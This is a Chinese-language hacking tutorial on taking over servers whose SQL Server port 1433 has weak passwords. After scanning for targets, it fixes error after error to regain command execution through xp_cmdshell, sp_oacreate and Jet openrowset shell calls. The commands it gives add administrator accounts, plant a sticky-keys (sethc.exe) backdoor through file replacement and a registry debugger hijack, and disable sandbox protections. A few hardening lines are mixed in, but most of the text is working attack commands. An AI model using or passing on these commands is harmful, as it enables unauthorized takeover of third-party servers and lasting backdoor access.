1433端口是SQL数据库端口,当一台服务器的SQL数据库存在弱口令就很容易被黑客攻击
现在比较流行的1433,1433抓服务器就是利用这个原理。
黑客一般先利用端口扫描工具批量扫描ip,找到打开1433端口的主机(一般只有作为服务器使用的主机才会打开1433端口),再利用X-SCAN或者其他工具过滤出存在SQL弱口令的主机来
然后用SQL TOOLS连接主机,进行SQL或者CMD命令执行,从而 得主机的控制权,但是服务器的管理人员通常会把一些不安全的漏洞补上,所以用sql tools直接执行命令成功的几率不大,会出现很多种错误,这时就需要用到sql查询分离器来执行命令
下面我就把一些常见的错误及修复方法列出来:
下面提及的命令都是通过sql查询分离器执行的!
错误一:Error Message:未能找到存储过程 'master..xp_cmdshell'。
修复方法:
第一步先删除:
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
服务器: 消息 3701,级别 11,状态 5,行 1
第二步恢复:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
错误二:拒绝访问
修复方法:
一般管理会把net.exe禁用或者改名,Net1是和net效果一样的
sql tools执行DOS
dir net1.exe /s /p (搜索net1.exe的位置)
一般结果显示在 C:/WINDOWS/system32/dllcache 的目录
我们利用这个目录的net1执行cmd命令
C:/WINDOWS/system32/dllcache/net1.exe user 123 123 /add
C:/WINDOWS/system32/dllcache/net1.exe localgroup administrators 123 /add
提权成功
错误三:Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
修复方法:
EXEC sp_configure 'show advanced options', 1 --
RECONFIGURE WITH OVERRIDE --
EXEC sp_configure 'xp_cmdshell', 1 --
RECONFIGURE WITH OVERRIDE --
EXEC sp_configure 'show advanced options', 0 --
错误四:无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
错误五:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。
修复方法:
第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:/Program Files/Microsoft SQL Server/MSSQL/Binn/xplog70.dll")
;EXEC sp_configure 'show advanced options', 0 --
错误六:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
错误七:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)
前提是cmd.exe 和odsole70.dll存在
然后利用以下SQL语句:
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe','c:/windows/system32/sethc.exe';
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:/windows/system32/sethc.exe','c:/windows/system32/dllcache/sethc.exe';
这个两条语句执行的时间间隔最好不超过10秒钟,否则系统会自动恢复原来的文件。
下面是一些常用的入侵命令:
copy c:/windows/system32/sethc.exe c:/windows/system32/dllcache/sethc.exe
copy c:/windows/explorer.exe c:/windows/system32/sethc.exe
看明白了吧,这个shift后门其实就是explorer
按5次shift会运行explorer,找到cmd.exe加用户就OK了
3389 SHIFT
用上的语句:
入侵
EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.EXE',
@value_name='Debugger',
@type='REG_SZ',
@value='C:/WINDOWS/explorer.exe'
恢复
EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.EXE',
@value_name='Debugger',
@type='REG_SZ',
@value=''
映象劫持
EXEC master..xp_regwrite ---这是注册表编辑!
@rootkey='HKEY_LOCAL_MACHINE', ---这是位置!
@key='SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.EXE', -----这也是位置!
@value_name='Debugger', ---这是表名!
@type='REG_SZ', ---这里是写入的意思!
@value='C:/WINDOWS/explorer.exe' ----这里是写入内容!
整个过程是利用master..xp_regwrite这组件来完成的, 删除sql危险存储:
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
恢复扩展存储过程的办法
先恢复sp_addextendedproc,语句如下:
第一:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
第二:
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
1.sql命令查询注册表粘滞键是否被劫持
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.exe','Debugger'
2.sql命令劫持注册表粘滞键功能,替换成任务管理器(当然你也可以替换成你想要的其他命令)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.exe',
'Debugger','REG_SZ','C:/WINDOWS/system32/taskmgr.exe'
3.sql命令删除注册表粘滞键的劫持功能保护你的服务器不再被他人利用
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.exe'
由于扩展被删除,先恢复对注册表的读写存储。
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
修复沙盒的保护模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;--
查看'SandBoxMode'值是否已经变成0了。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
最后调用沙盒模式
select * from openrowset('microsoft.jet.oledb.4.0',';database=C:WINDOWSsystem32iasdnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
1.如果沙盒保护模式未“关闭”,会报错:
服务器: 消息 7357,级别 16,状态 2,行 1
未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。
OLE DB 错误跟踪〔Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")'〕。
2.如果.mdb不存在或是输入路径错误
服务器: 消息 7399,级别 16,状态 1,行 1
OLE DB 提供程序 'microsoft.jet.oledb.4.0' 报错。
[OLE/DB provider returned message: 找不到文件 'C:WINDOWSsystem32iasdnary1.mdb'。]
OLE DB 错误跟踪〔OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned 0x80004005: 〕。
3.如果输入过程中多了一些空格,也会报错。尤其要注意这点,很多人直接网上找文章复制粘贴进去执行。
服务器: 消息 7357,级别 16,状态 2,行 1
未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。
OLE DB 错误跟踪〔Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")'〕。
4.如果mdb权限和cmd.exe权限不对,同样会也出现问题。
当mdb权限不对时,
服务器: 消息 7320,级别 16,状态 2,行 1
未能对 OLE DB 提供程序 'Microsoft.Jet.OLEDB.4.0' 执行查询。
[OLE/DB provider returned message: 未知]
OLE DB 错误跟踪〔OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0' ICommandText::Execute returned 0x80040e14〕。
5.如果net权限不对时,却没有任何提示。
最终的提权办法就是在当前的web目录下面上传系统的ias.mdb和cmd.exe,net.exe三个文件。执行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:webias.mdb','select shell("E:webcmd.exe /c E:webnet.exe user user passwd /add")')
第一:cmd恢复储存
dbcc dropextendedproc ("xp_cmdshell");
dbcc addextendedproc ("xp_cmdshell","xplog70.dll");
dbcc dropextendedproc ("xp_dirtree");
dbcc addextendedproc ("xp_dirtree","xpstar.dll");
dbcc dropextendedproc ("xp_regread");
dbcc addextendedproc ("xp_regread","xpstar.dll");
dbcc dropextendedproc ("xp_regwrite");
dbcc addextendedproc ("xp_regwrite","xpstar.dll");
dbcc dropextendedproc ("sp_OACreate");
dbcc addextendedproc ("sp_OACreate","odsole70.dll");
dbcc dropextendedproc ("sp_OAMethod");
dbcc addextendedproc ("sp_OAMethod","odsole70.dll");
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'wbem/sr cmd.exe /e /g system:f'
declare @shell1 int exec sp_oacreate 'wscript.shell',@shell1 output exec sp_oamethod @shell1,'run',null,'wbem/sr net1.exe /e /g system:f
declare @shell2 int exec sp_oacreate 'wscript.shell',@shell2 output exec sp_oamethod @shell2,'run',null,'wbem/sr net.exe /e /g system:f'
declare @shell3 int exec sp_oacreate 'wscript.shell',@shell3 output exec sp_oamethod @shell3,'run',null,'wbem/sp cmd.exe /e /g system:f'
declare @shell4 int exec sp_oacreate 'wscript.shell',@shell4 output exec sp_oamethod @shell4,'run',null,'wbem/sp net1.exe /e /g system:f'
declare @shell5 int exec sp_oacreate 'wscript.shell',@shell5 output exec sp_oamethod @shell5,'run',null,'wbem/sp net.exe /e /g system:f'
第二:解737储存
dbcc dropextendedproc ("xp_cmdshell");
dbcc addextendedproc ("xp_cmdshell","xplog70.dll");
dbcc dropextendedproc ("xp_dirtree");
dbcc addextendedproc ("xp_dirtree","xpstar.dll");
dbcc dropextendedproc ("xp_regread");
dbcc addextendedproc ("xp_regread","xpstar.dll");
dbcc dropextendedproc ("xp_regwrite");
dbcc addextendedproc ("xp_regwrite","xpstar.dll");
dbcc dropextendedproc ("sp_OACreate");
dbcc addextendedproc ("sp_OACreate","odsole70.dll");
dbcc dropextendedproc ("sp_OAMethod");
dbcc addextendedproc ("sp_OAMethod","odsole70.dll");
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'wbem/sr cmd.exe /e /g system:f'
declare @shell1 int exec sp_oacreate 'wscript.shell',@shell1 output exec sp_oamethod @shell1,'run',null,'wbem/sr net1.exe /e /g system:f'
declare @shell2 int exec sp_oacreate 'wscript.shell',@shell2 output exec sp_oamethod @shell2,'run',null,'wbem/sr net.exe /e /g system:f'
declare @shell3 int exec sp_oacreate 'wscript.shell',@shell3 output exec sp_oamethod @shell3,'run',null,'wbem/sp cmd.exe /e /g system:f'
declare @shell4 int exec sp_oacreate 'wscript.shell',@shell4 output exec sp_oamethod @shell4,'run',null,'wbem/sp net1.exe /e /g system:f'
declare @shell5 int exec sp_oacreate 'wscript.shell',@shell5 output exec sp_oamethod @shell5,'run',null,'wbem/sp net.exe /e /g system:f'
declare @shell6 int exec sp_oacreate 'wscript.shell',@shell6 output exec sp_oamethod @shell6,'run',null,'ws cmd.exe /e /g system:f'
declare @shell7 int exec sp_oacreate 'wscript.shell',@shell7 output exec sp_oamethod @shell7,'run',null,'ws net1.exe /e /g system:f'
declare @shell8 int exec sp_oacreate 'wscript.shell',@shell8 output exec sp_oamethod @shell8,'run',null,'ws net.exe /e /g system:f'
declare @shell9 int exec sp_oacreate 'wscript.shell',@shell9 output exec sp_oamethod @shell9,'run',null,'wbem/we cmd.exe /e /g system:f'
declare @shell10 int exec sp_oacreate 'wscript.shell',@shell10 output exec sp_oamethod @shell10,'run',null,'wbem/we net1.exe /e /g system:f'
declare @shell11 int exec sp_oacreate 'wscript.shell',@shell11 output exec sp_oamethod @shell11,'run',null,'wbem/we net.exe /e /g system:f'
declare @shell12 int exec sp_oacreate 'wscript.shell',@shell12 output exec sp_oamethod @shell12,'run',null,'wbem/xj cmd.exe /e /g system:f'
declare @shell13 int exec sp_oacreate 'wscript.shell',@shell13 output exec sp_oamethod @shell13,'run',null,'wbem/xj net1.exe /e /g system:f'
declare @shell14 int exec sp_oacreate 'wscript.shell',@shell14 output exec sp_oamethod @shell14,'run',null,'wbem/xj net.exe /e /g system:f'
declare @shell15 int exec sp_oacreate 'wscript.shell',@shell15 output exec sp_oamethod @shell15,'run',null,'drivers/vs cmd.exe /e /g system:f'
declare @shell16 int exec sp_oacreate 'wscript.shell',@shell16 output exec sp_oamethod @shell16,'run',null,'drivers/vs net1.exe /e /g system:f'
declare @shell17 int exec sp_oacreate 'wscript.shell',@shell17 output exec sp_oamethod @shell17,'run',null,'drivers/vs net.exe /e /g system:f'
declare @shell18 int exec sp_oacreate 'wscript.shell',@shell18 output exec sp_oamethod @shell18,'run',null,'cs cmd.exe /e /g system:f'
declare @shell19 int exec sp_oacreate 'wscript.shell',@shell19 output exec sp_oamethod @shell19,'run',null,'cs net1.exe /e /g system:f'
declare @shell20 int exec sp_oacreate 'wscript.shell',@shell20 output exec sp_oamethod @shell20,'run',null,'cs net.exe /e /g system:f'